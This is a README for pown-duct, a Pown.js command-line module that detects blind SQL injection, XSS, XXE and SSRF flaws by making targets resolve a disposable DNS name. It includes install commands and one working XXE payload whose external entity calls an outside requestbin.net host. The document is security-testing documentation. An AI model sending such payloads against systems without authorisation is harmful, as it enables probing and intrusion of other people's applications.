pown-duct: Essential tool for finding blind injection attacks
This tool is meant to be used as part of Pown.js but it can be invoked separately as an independent tool.
Install Pown first as usual:
$ npm install -g pown@latest
Invoke directly from Pown:
$ pown duct
Otherwise, install this module locally from the root of your project:
$ npm install @pown/duct --save
Once done, invoke pown cli:
$ ./node_modules/.bin/pown-cli duct
You can also use the global pown to invoke the tool locally:
$ POWN_ROOT=. pown duct
pown duct dns
There are cases when we need to perform an attack such as sql injection, XSS, XXE or SSRF but the target application is not providing any indication that it is vulnerable. One way to be sure if a vulnerability is present is to try to inject a valid attack vector which forces a DNS resolver to ask for an attack controlled domain. If the resolution is successful, the attack will be considered successful.
NOTE: You might be familiar with Burp Collaborator which provides a similar service for customers.
First, we need a disposable dns name to resolve:
$ pown duct dns
Using the provided DNS, compose your payload. For example, the following could trigger a DNS resolution if an XXE vulnerability is present.
<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar SYSTEM "http://showmethemoney.bfa8b8d3c25f09d5429f.d.requestbin.net"> ]> <foo> &bar; </foo>
If the attack was successful, we will get a message in the terminal.
